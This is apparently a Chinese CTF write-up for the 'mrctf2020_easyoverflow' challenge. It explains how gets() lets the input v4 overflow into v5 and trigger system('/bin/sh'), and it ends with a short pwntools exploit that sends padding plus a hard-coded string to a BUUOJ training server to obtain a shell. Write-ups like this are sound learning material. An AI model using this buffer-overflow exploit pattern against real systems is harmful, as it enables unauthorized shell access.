mrctf2020_easyoverflow

"本文介绍了CTF比赛中的一道题目,涉及程序安全性检查、IDA分析和缓冲区溢出攻击。通过查看程序保护设置发现全开,进一步分析逻辑发现,只需令变量v5等于特定值fakeflag即可触发system("/bin/sh")。通过输入构造payload覆盖v5的值,成功getshell。最终给出了exploit代码实现远程连接并交互。"
摘要由CSDN通过智能技术生成

mrctf2020_easyoverflow

使用checksec查看:
在这里插入图片描述
保护全开!!!

放进IDA中看下:
在这里插入图片描述
大致逻辑:

  • 用户输入的变量v4
  • v5有定值
  • 调用check()函数传入参数v5
  • check(v5)为true就调用system("/bin/sh")

跟进check()函数查看:
在这里插入图片描述
思路明了,只需要v5 == fakeflag就能getshell,跟进查找fakeflag的值
在这里插入图片描述
再回来看输入点:

  • v4在var_70
  • v5在var_40

gets()函数不限制输入,那么可以输入v4时溢出到v5覆盖v5原来的值getshell

exp:

from pwn import *

#start
r = remote("node4.buuoj.cn",26478)
# r = process("../buu/mrctf2020_easyoverflow")

#params 

#attack
payload=b'M'*0x30 + b"n0t_r3@11y_f1@g"
r.sendline(payload)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值